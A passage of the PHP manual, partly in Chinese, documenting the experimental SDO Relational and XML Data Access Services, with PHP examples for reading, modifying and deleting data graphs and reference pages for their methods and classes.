    "where e.dept_id = d.id and d.co_id = c.id and c.name='Acme'",
     array('company.id','company.name','company.employee_of_the_month',
     'department.id','department.name','employee.id','employee.name'));
$acme     = $root['company'][0];

$shoe    = $acme->department[0];
$sue    = $shoe -> employee[0];

$it     = $acme->createDataObject('department');
$it->name = 'IT';
$it->location = 'G-block';
$billy     = $it->createDataObject('employee');
$billy->name = 'Billy';

$acme->name = 'MegaCorp';
$shoe->name = 'Footwear';
$sue->name = 'Susan';

$acme->employee_of_the_month = $billy;
$das -> applyChanges($dbh, $root);
echo "Wrote back company with extra department and employee and all the names changed (Megacorp/Footwear/Susan)\n";

?>

例子 10. One company, two departments, two employees - Retrieve and delete

The company is retrieved as a complete data graph containing five data objects - the company, two departments and two employees. They are all deleted by deleting the company object. Deleting an object from the graph deletes all the object beneath it in the graph. Five SQL DELETE statements will be generated and executed. As always they will be qualified with a WHERE clause that contains all of the fields that were retrieved, so that any updates to the data in the database in the meantime by another process will be detected.

<?php
require_once 'SDO/DAS/Relational.php';
require_once 'company_metadata.inc.php';

/*************************************************************************************
* Now read it one more time and delete it.
* You can delete part, apply the changes, then carry on working with the same graph but
* care is needed to keep closure - you cannot delete the employee who is eotm without
* reassigning. For safety here we delete the company all in one go.
*************************************************************************************/
$das = new SDO_DAS_Relational ($database_metadata,'company',$SDO_reference_metadata);
$dbh = new PDO(PDO_DSN,DATABASE_USER,DATABASE_PASSWORD);

$root = $das->executeQuery($dbh,
    "select c.id, c.name, c.employee_of_the_month, d.id, d.name, e.id, e.name " .
    "from company c, department d, employee e " .
    "where e.dept_id = d.id and d.co_id = c.id and c.name='MegaCorp';",
     array('company.id','company.name','company.employee_of_the_month',
     'department.id','department.name','employee.id','employee.name'));
$megacorp = $root['company'][0];

unset($root['company']);
$das -> applyChanges($dbh, $root);

echo "Deleted the company, departments and employees all in one go.\n";

?>

Tracing

You may be interested in seeing the SQL statements that are generated in order to apply changes back to the database. At the top of the SDO/DAS/Relational.php you will find a number of constants which control whether the process of constructing and executing the SQL statements is to be traced. Try setting DEBUG_EXECUTE_PLAN to TRUE to see the generated SQL statements.

预定义类

The Relational DAS provides two classes: the Relational DAS itself and the subclass of Exception that can be thrown. The Relational DAS has four publicly useful calls: the constructor, the createRootDataObject() call to obtain the root object of an empty data graph, the executeQuery() call to obtain a data graph containing data from a relational database, and the applyChanges() call to write changes made to a data graph back to the relational database.

SDO_DAS_Relational

The only object other than an SDO_DAS_Relational_Exception with which the application is expected to interact.

方法

  • __construct - construct the Relational DAS with a model derived from the passed metadata

  • createRootDataObject - obtain an otherwise empty data graph containing just the special root object

  • executeQuery - execute an SQL query passed as a literal string and return the results as a normalised data graph

  • executePreparedQuery - execute an SQL query passed as a prepared statement, with a list of values to substitute for placeholders, and return the results as a normalised data graph

  • applyChanges - examine the change summary in the data graph and apply those changes back to the database, subject to an assumption of optimistic concurrency

SDO_DAS_Relational_Exception

Is a subclass of PHP's Exception. It adds no behaviour to Exception. Thrown, with useful descriptive text, to signal errors in the metadata or unexpected failures to perform SQL operations.

目录
SDO_DAS_Relational::applyChanges -- Applies the changes made to a data graph back to the database.
SDO_DAS_Relational::__construct -- Creates an instance of a Relational Data Access Service
SDO_DAS_Relational::createRootDataObject -- Returns the special root object in an otherwise empty data graph. Used when creating a data graph from scratch.
SDO_DAS_Relational::executePreparedQuery -- Executes an SQL query passed as a prepared statement, with a list of values to substitute for placeholders, and return the results as a normalised data graph.
SDO_DAS_Relational::executeQuery -- Executes a given SQL query against a relational database and returns the results as a normalised data graph.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
SDO_Sequence::move | 上一级 | SDO_DAS_Relational::applyChanges


SDO_DAS_Relational::applyChanges

(no version information, might be only in CVS)

SDO_DAS_Relational::applyChanges -- Applies the changes made to a data graph back to the database.

说明

void SDO_DAS_Relational::applyChanges ( PDO database_handle, SDODataObject root_data_object )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

Given a PDO database handle and the special root object of a data graph, examine the change summary in the datagraph and applies the changes to the database. The changes that it can apply can be creations of data objects, deletes of data objects, and modifications to properties of data objects.

参数

PDO_database_handle

Constructed using the PDO extension. A typical line to construct a PDO database handle might look like this:
$dbh = new PDO("mysql:dbname=COMPANYDB;host=localhost",DATABASE_USER,DATABASE_PASSWORD);

root_data_object

The special root object which is at the top of every SDO data graph.

返回值

None. Note however that the datagraph that was passed is still intact and usable. Furthermore, if data objects were created and written back to a table with autogenerated primary keys, then those primary keys will now be set in the data objects. If the changes were successfully written, then the change summary associated with the datagraph will have been cleared, so that it is possible to now make further changes to the data graph and apply those changes in turn. In this way it is possible to work with the same data graph and apply changes repeatedly.

异常

SDO_DAS_Relational::applyChanges() can throw an SDO_DAS_Relational_Exception if it is unable to apply all the changes correctly.

The Relational DAS starts a database transaction before beginning to apply the changes and will commit the transaction only if they are all successful. The Relational DAS generates qualified update and delete statements which contain a where clause that specifies that the row to be updated or deleted must contain the same values that it did when the data was first retrieved. This is how the the optimistic concurrency is implemented. If any of the qualified update or delete statements fails to update or delete their target row, it may be because the data has been altered in the database in the meantime. In any event, if any update fails for any reason, the transaction is rolled back and an exception thrown. The exception will contain the generated SQL statement that failed.

The Relational DAS also catches any PDO exceptions and obtains PDO diagnostic information which it includes in an SDO_DAS_Relational_Exception which it then throws.

范例

Please see the Examples section in the general information about the Relational DAS for many examples of calling this method. Please see also the section on Tracing to see how you can see what SQL statements are generated by the Relational DAS.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
SDO Relational Data Access Service Functions | 上一级 | SDO_DAS_Relational::__construct


SDO_DAS_Relational::__construct

(no version information, might be only in CVS)

SDO_DAS_Relational::__construct -- Creates an instance of a Relational Data Access Service

说明

SDO_DAS_Relational SDO_DAS_Relational::__construct ( array database_metadata [, string application_root_type [, array SDO_containment_references_metadata]] )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

Constructs an instance of a Relational Data Access Service from the passed metadata.

参数

database_metadata

An array containing one or more table definitions, each of which is an associative array containing the keys name, columns, PK, and optionally, FK. For a full discussion of the metadata, see the metadata section in the general information about the Relational DAS.

application_root_type

The root of each data graph is an object of a special root type and the application data objects come below that. Of the various application types in the SDO model, one has to be the the application type immediately below the root of the data graph. If there is only one table in the database metadata, so the application root type can be inferred, this argument can be omitted.

SDO_containment_references_metadata

An array containing one or more definitions of a containment relation, each of which is an associative array containing the keys parent and child. The containment relations describe how the types in the model are connected to form a tree. The type specified as the application root type must be present as one of the parent types in the containment references. If the application only needs to work with one table at a time, and there are no containment relations in the model, this argument can be omitted. For a full discussion of the metadata, see the metadata section in the general information about the Relational DAS.

返回值

Returns an SDO_DAS_Relational object on success.

异常

SDO_DAS_Relational::__construct() throws a SDO_DAS_Relational_Exception if any problems are found in the metadata.

范例

For a full discussion of the metadata, see the metadata section in the general information about the Relational DAS.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
SDO_DAS_Relational::applyChanges | 上一级 | SDO_DAS_Relational::createRootDataObject


SDO_DAS_Relational::createRootDataObject

(no version information, might be only in CVS)

SDO_DAS_Relational::createRootDataObject -- Returns the special root object in an otherwise empty data graph. Used when creating a data graph from scratch.

说明

SDODataObject SDO_DAS_Relational::createRootDataObject ( void )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

Returns the special root object at the top of an otherwise empty data graph. This call is used when the application wants to create a data graph from scratch, without having called executeQuery() to create a data graph.

The special root object has one multi-valued containment property, with a name of the application root type that was passed when the Relational DAS was constructed. The property can take values of only that type. The only thing that the application can usefully do with the root type is to call createDataObject() on it, passing the name of the application root type, in order to create a data object of their own application type.

参数

None.

返回值

The root object.

异常

None.

范例

Please see the Examples section in the general information about the Relational DAS for many examples of calling this method.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
SDO_DAS_Relational::__construct | 上一级 | SDO_DAS_Relational::executePreparedQuery


SDO_DAS_Relational::executePreparedQuery

(no version information, might be only in CVS)

SDO_DAS_Relational::executePreparedQuery -- Executes an SQL query passed as a prepared statement, with a list of values to substitute for placeholders, and return the results as a normalised data graph.

说明

SDODataObject SDO_DAS_Relational::executePreparedQuery ( PDO database_handle, PDOStatement prepared_statement, array value_list [, array column_specifier] )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

Executes a given query against the relational database, using the supplied PDO database handle. Differs from the simpler executeQuery() in that it takes a prepared statement and a list of values. This is the appropriate call to use either when the statement is to executed a number of times with different arguments, and there is therefore a performance benefit to be had from preparing the statement only once, or when the the SQL statement is to contain varying values taken from a source that cannot be completely trusted. In this latter case it may be unsafe to construct the SQL statement by simply concatenating the parts of the statement together, since the values may contain pieces of SQL. To guard against this, a so-called SQL injection attack, it is safer to prepare the SQL statement with placeholders (also known as parameter markers, denoted by '?') and supply a list of the values to be substituted as a separate argument. Otherwise this function is the same as executeQuery() in that it uses the model that it built from the the metadata to interpret the result set and returns a data graph.

参数

PDO_database_handle

Constructed using the PDO extension. A typical line to construct a PDO database handle might look like this:
$dbh = new PDO("mysql:dbname=COMPANYDB;host=localhost",DATABASE_USER,DATABASE_PASSWORD);

prepared_statement

A prepared SQL statement to be executed against the database. This will have been prepared by PDO's prepare() method.

value_list

An array of the values to be substituted into the SQL stement in place of the placeholders. In the event that there are no placeholders or parameter markers in the SQL statement then this argument can be specified as NULL or as an empty array;

column_specifier

The Relational DAS needs to examine the result set and for every column, know which table and which column of that table it came from. In some circumstances it can find this information for itself, but sometimes it cannot. In these cases a column specifier is needed, which is an array that identifies the columns. Each entry in the array is simply a string in the form table-name.column_name.

The column specifier is needed when there are duplicate column names in the database metadata, For example, in the database used within the examples, all the tables have both a id and a name column. When the Relational DAS fetches the result set from PDO it can do so with the PDO_FETCH_ASSOC attribute, which will cause the columns in the results set to be labelled with the column name, but will not distinguish duplicates. So this will only work when there are no duplicates possible in the results set.

To summarise, specify a column specifier array whenever there is any uncertainty about which column could be from which table and only omit it when every column name in the database metadata is unique.

All of the examples in the Examples use a column specifier. There is one example in the Scenarios directory of the installation that does not: that which works with just the employee table, and because it works with just one table, there can not exist duplicate column names.

返回值

Returns a data graph. Specifically, it returns a root object of a special type. Under this root object will be the data from the result set. The root object will have a multi-valued containment property with the same name as the application root type specified on the constructor, and that property will contain one or more data objects of the application root type.

In the event that the query returns no data, the special root object will still be returned but the containment property for the application root type will be empty.

异常

SDO_DAS_Relational::executeQuery() can throw an SDO_DAS_Relational_Exception if it is unable to construct the data graph correctly. This can occur for a number of reasons: for example if it finds that it does not have primary keys in the result set for all the objects. It also catches any PDO exceptions and obtains PDO diagnostic information which it includes in an SDO_DAS_Relational_Exception which it then throws.

范例

例子 1. Retrieving a data object using executePreparedQuery

In this example a single data object is retrieved from the database - or possibly more than one if there is more than one company called 'Acme'. For each company returned, the name and id properties are echoed.

Other examples of the use of executePreparedQuery() can be found in the example code supplied in sdo/DAS/Relational/Scenarios .

<?php
require_once 'SDO/DAS/Relational.php';
require_once 'company_metadata.inc.php';

/**************************************************************
* Construct the DAS with the metadata
***************************************************************/
$das = new SDO_DAS_Relational ($database_metadata,'company',$SDO_reference_metadata);

/**************************************************************
* Get a database connection
***************************************************************/
$dbh = new PDO(PDO_DSN,DATABASE_USER,DATABASE_PASSWORD);

/**************************************************************
* Issue a query to obtain a company object - possibly more if they exist
* Use a prepared query with a placeholder.
***************************************************************/
$name = 'Acme';
$pdo_stmt = $dbh->prepare('select name, id from company where name=?');
$root = $das->executePreparedQuery(
    $dbh,
    $pdo_stmt,
    array($name),
    array('company.name', 'company.id'));

/**************************************************************
* Echo name and id
***************************************************************/
foreach ($root['company'] as $company) {
    echo "Company obtained from the database has name = " .
    $company['name'] . " and id " . $company['id'] . "\n";
}
?>

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
SDO_DAS_Relational::createRootDataObject | 上一级 | SDO_DAS_Relational::executeQuery


SDO_DAS_Relational::executeQuery

(no version information, might be only in CVS)

SDO_DAS_Relational::executeQuery -- Executes a given SQL query against a relational database and returns the results as a normalised data graph.

说明

SDODataObject SDO_DAS_Relational::executeQuery ( PDO database_handle, string SQL_statement [, array column_specifier] )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

Executes a given query against the relational database, using the supplied PDO database handle. Uses the model that it built from the the metadata to interpret the result set. Returns a data graph.

参数

PDO_database_handle

Constructed using the PDO extension. A typical line to construct a PDO database handle might look like this:
$dbh = new PDO("mysql:dbname=COMPANYDB;host=localhost",DATABASE_USER,DATABASE_PASSWORD);

SQL_statement

The SQL statement to be executed against the database.

column_specifier

The Relational DAS needs to examine the result set and for every column, know which table and which column of that table it came from. In some circumstances it can find this information for itself, but sometimes it cannot. In these cases a column specifier is needed, which is an array that identifies the columns. Each entry in the array is simply a string in the form table-name.column_name.

The column specifier is needed when there are duplicate column names in the database metadata, For example, in the database used within the examples, all the tables have both a id and a name column. When the Relational DAS fetches the result set from PDO it can do so with the PDO_FETCH_ASSOC attribute, which will cause the columns in the results set to be labelled with the column name, but will not distinguish duplicates. So this will only work when there are no duplicates possible in the results set.

To summarise, specify a column specifier array whenever there is any uncertainty about which column could be from which table and only omit it when every column name in the database metadata is unique.

All of the examples in the Examples use a column specifier. There is one example in the Scenarios directory of the installation that does not: that which works with just the employee table, and because it works with just one table, there can not exist duplicate column names.

返回值

Returns a data graph. Specifically, it returns a root object of a special type. Under this root object will be the data from the result set. The root object will have a multi-valued containment property with the same name as the application root type specified on the constructor, and that property will contain one or more data objects of the application root type.

In the event that the query returns no data, the special root object will still be returned but the containment property for the application root type will be empty.

异常

SDO_DAS_Relational::executeQuery() can throw an SDO_DAS_Relational_Exception if it is unable to construct the data graph correctly. This can occur for a number of reasons: for example if it finds that it does not have primary keys in the result set for all the objects. It also catches any PDO exceptions and obtains PDO diagnostic information which it includes in an SDO_DAS_Relational_Exception which it then throws.

范例

Please see the Examples section in the general information about the Relational DAS for many examples of calling this method.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
SDO_DAS_Relational::executePreparedQuery | 上一级 | SDO XML Data Access Service Functions


SDO XML Data Access Service Functions

PHP 手册
后退 前进

CXXVII. SDO XML Data Access Service Functions

简介

警告

本扩展模块是实验性的。本模块的行为，包括其函数的名称以及其它任何关于此模块的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本扩展模块风险自担。

In order to use the XML Data Access Service for Service Data Objects, you will need to understand some of the concepts behind SDO: the data graph, the data object, XPath and property expressions, and so on. If you are not familiar with these ideas, you might want to look first at the section on SDO .

The job of the XML DAS is to move data between the application and an XML data source, which can be either a file or a URL. In order to do this it needs to be told the location of the XML schema, which is passed as a parameter to the create method of the XML DAS. The schema is used to ensure conformance of XML being written out, and also to ensure that modifications made to an SDO originating from XML follow the model described by the XML schema.

需求

The SDO XML Data Access Service requires PHP 5.1 or higher. It is packaged with the SDO extension and requires SDO to have been installed. See the SDO installation instructions for the details of how to do this.

安装

The XML Data Access Service is packaged and installed as part of the SDO extension. Please Refer SDO installation instructions.

Limitations

The SDO 2.0 specification defines the mapping between XML types and SDO types. With Java SDO, this mapping is implemented by the XMLHelper. With SDO for PHP, this mapping is implemented by the XML Data Access Services. The XML DAS implements the mapping described in the SDO 2.0 specification with the following restrictions:

XML Simple Types

  1. Simple Type with abstract="true" - no PHP support for SDO abstract types.

  2. Simple Type with sdoJava:instanceClass - no PHP equivalent provided.

  3. Simple Type with sdoJava:extendedInstanceClass - no PHP equivalent provided.

  4. Simple Type with list of itemType.

  5. Simple Type with union.

XML Complex Types

  1. Complex Type with abstract="true" - no PHP support for SDO abstract types.

  2. Complex Type with sdo:aliasName - no PHP support for SDO Type aliases.

  3. Complex Type with open content - no PHP support for SDO open types.

  4. Complex Type with open attribute - no PHP support for SDO open types.

XSD Attribute

  1. Attribute with sdo:aliasName - no PHP support for SDO property aliases.

  2. Attribute with default value - no PHP support for SDO property defaults.

  3. Attribute with fixed value - no PHP support for SDO read-only properties or default values.

  4. Attribute reference.

  5. Attribute with sdo:string - no support for sdo:string="true".

  6. Attribute referencing a DataObject with sdo:propertyType - no support for sdo:propertyType="...".

  7. Attribute with bi-directional property to a DataObject with sdo:oppositeProperty and sdo:propertyType - no PHP support for SDO opposite.

XSD Elements

  1. Element with sdo:aliasName - no PHP support for SDO property aliases.

  2. Element reference.

  3. Element with nillable.

  4. Element with substitution group.

XSD Elements with Simple Type

  1. Element of SimpleType with default - no PHP support for SDO defaults

  2. Element of SimpleType with fixed value - no PHP support for SDO read-only properties or default values.

  3. Element of SimpleType with sdo:string - no support for sdo:string="true".

  4. Element referencing a DataObject with sdo:propertyType - no support for sdo:propertyType="..."

  5. Element with bi-directional reference to a DataObject with sdo:oppositeProperty and sdo:propertyType - no PHP support for SDO opposite.

范例

The following examples are based on the letter example described in the SDO documentation. The examples assume the XML Schema for the letter is contained in a file letter.xsd and the letter instance is in the file letter.xml. These two files are reproduced here:

<xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema"
  xmlns:letter="http://letterSchema"
  targetNamespace="http://letterSchema">
  <xsd:element name="letters" type="letter:FormLetter"/>
  <xsd:complexType name="FormLetter" mixed="true">
    <xsd:sequence>
      <xsd:element name="date" minOccurs="0" type="xsd:string"/>
      <xsd:element name="firstName" minOccurs="0" type="xsd:string"/>
      <xsd:element name="lastName" minOccurs="0" type="xsd:string"/>
    </xsd:sequence>
  </xsd:complexType>
</xsd:schema>

<letter:letters xmlns:letter="http://letterSchema">
  <date>March 1, 2005</date>
  Mutual of Omaha
  Wild Kingdom, USA
  Dear
  <firstName>Casy</firstName>
  <lastName>Crocodile</lastName>
  Please buy more shark repellent.
  Your premium is past due.
</letter:letters>

例子 1. Loading, altering, and saving an XML document

The following example shows how an XML document can be loaded from a file, altered, and written back.

<?php
try {
    $xmldas = SDO_DAS_XML::create("letter.xsd");
    $xdoc = $xmldas->loadFromFile("letter.xml");
    $do = $xdoc->getRootDataObject();
    $do->date = "September 03, 2004";
    $do->firstName = "Anantoju";
    $do->lastName = "Madhu";
    $xmldas->saveDocumentToFile($xdoc, "letter-out.xml");
} catch (SDO_TypeNotFoundException $e) {
    print("Type is not defined in the xsd file");
} catch (SDO_DAS_XML_ParserException $e) {
    print("Problem while parsing");
}
?>

An instance of the XML DAS is first obtained from the SDO_DAS_XML::create() method, which is a static method of the SDO_DAS_XML class. The location of the xsd is passed as a parameter. Once we have an instance of the XML DAS initialised with a given schema, we can use it to load the instance document using the loadFromFile() method. There is also a loadFromString() method if you want to load an XML instance document from a string. If the instance document loads successfully, you will be returned an object of type SDO_DAS_XML_Document, on which you can call the getRootDataObject() method to get the SDO data object which is the root of the SDO data graph. You can then use SDO operations to change the graph. In this example we alter the date, firstName, and lastName properties. Then we use the saveDocumentToFile() method to write the changed document back to the file system.

This will write the following to letter-out.xml.

<?xml version="1.0" encoding="UTF-8"?>
<FormLetter xmlns="http://letterSchema" xsi:type="FormLetter" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
  <date>September 03, 2004</date>
  Mutual of Omaha
  Wild Kingdom, USA
  Dear
  <firstName>Anantoju</firstName>
  <lastName>Madhu</lastName>
  Please buy more shark repellent.
  Your premium is past due.
</FormLetter>

例子 2. Creating a new XML document

The previous example loaded the document from a file. This example shows how to create an SDO data graph in memory. In this example it is then saved to an XML string. Furthermore, because the letter contains both structured and unstructured content, it uses the Sequence API as well assignments to properties to construct the data graph.

<?php
try {
    $xmldas = SDO_DAS_XML::create("letter.xsd");
    try {
        $do = $xmldas->createDataObject("http://letterSchema", "FormLetter");
        $seq = $do->getSequence();
        $seq->insert("April 09, 2005", NULL, 'date');
        $seq->insert("Acme Inc. ", NULL, NULL);
        $seq->insert("United Kingdom. ");
        $seq->insert("Dear", NULL, NULL);
        $seq->insert("Tarun", NULL, "firstName");
        $seq->insert("Nayaraaa", NULL, "lastName");
        $do->lastName = "Nayar";
        $seq->insert("Please note that your order number ");
        $seq->insert(12345);
        $seq->insert(" has been dispatched today. Thanks for your business with us.");
        $type = $do->getType();
        print($xmldas->saveDataObjectToString($do, $type[0], $type[1]));
    } catch (SDO_Exception $e) {
        print($e);
    }
} catch (SDO_TypeNotFoundException $e) {
    print("Type is not defined in the xsd file");
} catch (SDO_DAS_XML_ParserException $e) {
    print("Problem while parsing");
}
?>

This will emit the following output (line breaks have been inserted for readability):

<?xml version="1.0" encoding="UTF-8"?>
<FormLetter xmlns="http://letterSchema" xsi:type="FormLetter"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
<date>April 09, 2005</date>
Acme Inc. United Kingdom.
Dear
<firstName>Tarun</firstName>
<lastName>Nayar</lastName>
Please note that your order number 12345 has been
dispatched today. Thanks for your business with us.
</FormLetter>

例子 3. Setting XML document properties

This third example shows you how to use the SDO_DAS_XML_Document class. SDO_DAS_XML_Document class is provided to get and set properties of the XML declaration such as version, schema location, encoding and so on.

<?php
try {
    $xmldas = SDO_DAS_XML::create("letter.xsd");
    $xdoc = $xmldas->loadFromFile("letter.xml");
    print("Encoding is set to : " . $xdoc->getEncoding() . "\n");
    print("XML Version : " . $xdoc->getXMLVersion() . "\n");
    $xdoc->setXMLVersion("1.1");
    print($xmldas->saveDocumentToString($xdoc));
} catch (SDO_TypeNotFoundException $e) {
    print("Type is not defined in the xsd file");
} catch (SDO_DAS_XML_ParserException $e) {
    print("Problem while parsing");
}
?>

The first three lines of output show how the encoding and XML version has been obtained from the document, and how the XML version has been set in the XML header.

Encoding is set to : UTF-8
XML Version : 1.0
<?xml version="1.1" encoding="UTF-8"?>
...

预定义类

The XML DAS provides three classes. The SDO_DAS_XML which is the main class used to fetch the data from the XML source and also can used to write the data back. The next one is SDO_DAS_XML_Document class, which is basically useful to get/set the XML declarations such as encoding, version etc. And the last class is SDO_DAS_XML_ParserException which will be thrown for any parser exceptions while loading xsd/xml file.

SDO_DAS_XML

This is the main class of XML DAS, which is used fetch the data from the xml source and also used to write the data back. Other than the methods to load and save xml files, it also has a method called createDataObject which can be used to create an empty DataObject of a given type.

方法

  • create This is the only static method available in SDO_DAS_XML class. Used to construct SDO_DAS_XML object.

  • createDataObject Can be used to construct the DataObject of a given type.

  • loadFromFile Loads the xml instance document from a file. This file can be at local file system or it can be on a remote host.

  • loadFromString same as the above method. Loads the xml instance which is available as string.

  • saveDataObjectToFile save SDO_DataObject to a file.

  • saveDataObjectToString save SDO_DataObject to a xml file.

  • saveDocumentToFile save SDO_DAS_XML_Document object as a xml file.

  • saveDocumentToString save SDO_DAS_XML_Document object as a xml string.

SDO_DAS_XML_Document

This class can be used to get/set XML Declarations such as encoding, schema location etc.

方法

  • getEncoding gets the encoding string.

  • getNoNamespaceSchemaLocation gets the no namespace schema location.

  • getRootDataObject gets the root DataObject.

  • getRootElementName gets the root DataObject's name.

  • getRootElementURI gets the root DataObject's URI.

  • getSchemaLocation gets schema location.

  • getXMLDeclaration gets whether xml declaration is set ot not.

  • getXMLVersion gets the xml version.

  • setEncoding sets the encoding string with the given value.

  • setNoNamespaceSchemaLocation sets the no namespace schema location with the given value.

  • setSchemaLocation sets the schema location with the given value.

  • setXMLDeclaraion to set/unset the xml declaration.

  • setXMLVersion sets the xml version with the given value.

SDO_DAS_XML_ParserException

Is a subclass of SDO_Exception . Thrown for any parser errors while loading the xsd/xml file.

目录
SDO_DAS_XML_Document::getEncoding -- Returns encoding string.
SDO_DAS_XML_Document::getNoNamespaceSchemaLocation -- Returns no namespace schema location.
SDO_DAS_XML_Document::getRoorDataObject -- Returns the root SDO_DataObject.
SDO_DAS_XML_Document::getRootElementName -- Returns root element's name.
SDO_DAS_XML_Document::getRootElementURI -- Returns root element's URI string.
SDO_DAS_XML_Document::getSchemaLocation -- Returns schema location.
SDO_DAS_XML_Document::getXMLDeclaration -- Returns whether the xml declaration is set or not.
SDO_DAS_XML_Document::getXMLVersion -- Returns xml declaration string.
SDO_DAS_XML_Document::setEncoding -- Sets the given string as encoding.
SDO_DAS_XML_Document::setNoNamespaceSchemaLocation -- Sets the given string as no namespace schema location.
SDO_DAS_XML_Document::setSchemaLocation -- Sets the given string as schema location.
SDO_DAS_XML_Document::setXMLDeclaration -- Sets the xml declaration.
SDO_DAS_XML_Document::setXMLVersion -- Sets the given string as xml version.
SDO_DAS_XML::create -- To create SDO_DAS_XML object for a given schema file.
SDO_DAS_XML::createDataObject -- Creates SDO_DataObject for a given namespace URI and type name.
SDO_DAS_XML::loadFromFile -- Returns SDO_DAS_XML_Document object for a given path to xml instance document.
SDO_DAS_XML::loadFromString -- Returns SDO_DAS_XML_Document for a given xml instance string.
SDO_DAS_XML::saveDataObjectToFile -- Saves the SDO_DataObject object to File.
SDO_DAS_XML::saveDataObjectToString -- Saves the SDO_DataObject object to string.
SDO_DAS_XML::saveDocumentToFile -- Saves the SDO_DAS_XML_Document object to a file.
SDO_DAS_XML::saveDocumentToString -- Saves the SDO_DAS_XML_Document object to a string.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
SDO_DAS_Relational::executeQuery | 上一级 | SDO_DAS_XML_Document::getEncoding


SDO_DAS_XML_Document::getEncoding

(no version information, might be only in CVS)

SDO_DAS_XML_Document::getEncoding -- Returns encoding string.

说明

string SDO_DAS_XML_Document::getEncoding ( void )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

Returns the encoding string for the SDO_DAS_XML_Document object.

参数

返回值

Returns the encoding string.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
SDO XML Data Access Service Functions | 上一级 | SDO_DAS_XML_Document::getNoNamespaceSchemaLocation


SDO_DAS_XML_Document::getNoNamespaceSchemaLocation

(no version information, might be only in CVS)

SDO_DAS_XML_Document::getNoNamespaceSchemaLocation -- Returns no namespace schema location.

说明

string SDO_DAS_XML_Document::getNoNamespaceSchemaLocation ( void )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

Returns the no namespace schema location.

参数

返回值

Returns no namespace schema location.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
SDO_DAS_XML_Document::getEncoding | 上一级 | SDO_DAS_XML_Document::getRoorDataObject


SDO_DAS_XML_Document::getRoorDataObject

(no version information, might be only in CVS)

SDO_DAS_XML_Document::getRoorDataObject -- Returns the root SDO_DataObject.

说明

SDO_DataObject SDO_DAS_XML_Document::getRoorDataObject ( void )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

Returns the root SDO_DataObject.

参数

返回值

Returns the root SDO_DataObject.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
SDO_DAS_XML_Document::getNoNamespaceSchemaLocation | 上一级 | SDO_DAS_XML_Document::getRootElementName


SDO_DAS_XML_Document::getRootElementName

(no version information, might be only in CVS)

SDO_DAS_XML_Document::getRootElementName -- Returns root element's name.

说明

string SDO_DAS_XML_Document::getRootElementName ( void )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

Returns root element's name.

参数

返回值

Returns root element's name.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
SDO_DAS_XML_Document::getRoorDataObject | 上一级 | SDO_DAS_XML_Document::getRootElementURI


SDO_DAS_XML_Document::getRootElementURI

(no version information, might be only in CVS)

SDO_DAS_XML_Document::getRootElementURI -- Returns root element's URI string.

说明

string SDO_DAS_XML_Document::getRootElementURI ( void )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

Returns root element's URI string.

参数

返回值

Returns root element's URI string.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
SDO_DAS_XML_Document::getRootElementName | 上一级 | SDO_DAS_XML_Document::getSchemaLocation


SDO_DAS_XML_Document::getSchemaLocation

(no version information, might be only in CVS)

SDO_DAS_XML_Document::getSchemaLocation -- Returns schema location.

说明

string SDO_DAS_XML_Document::getSchemaLocation ( void )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

Returns schema location.

参数

返回值

Returns schema location.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
SDO_DAS_XML_Document::getRootElementURI | 上一级 | SDO_DAS_XML_Document::getXMLDeclaration


SDO_DAS_XML_Document::getXMLDeclaration

(no version information, might be only in CVS)

SDO_DAS_XML_Document::getXMLDeclaration -- Returns whether the xml declaration is set or not.

说明

bool SDO_DAS_XML_Document::getXMLDeclaration ( void )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

Returns whether the xml declaration is set or not.

参数

返回值

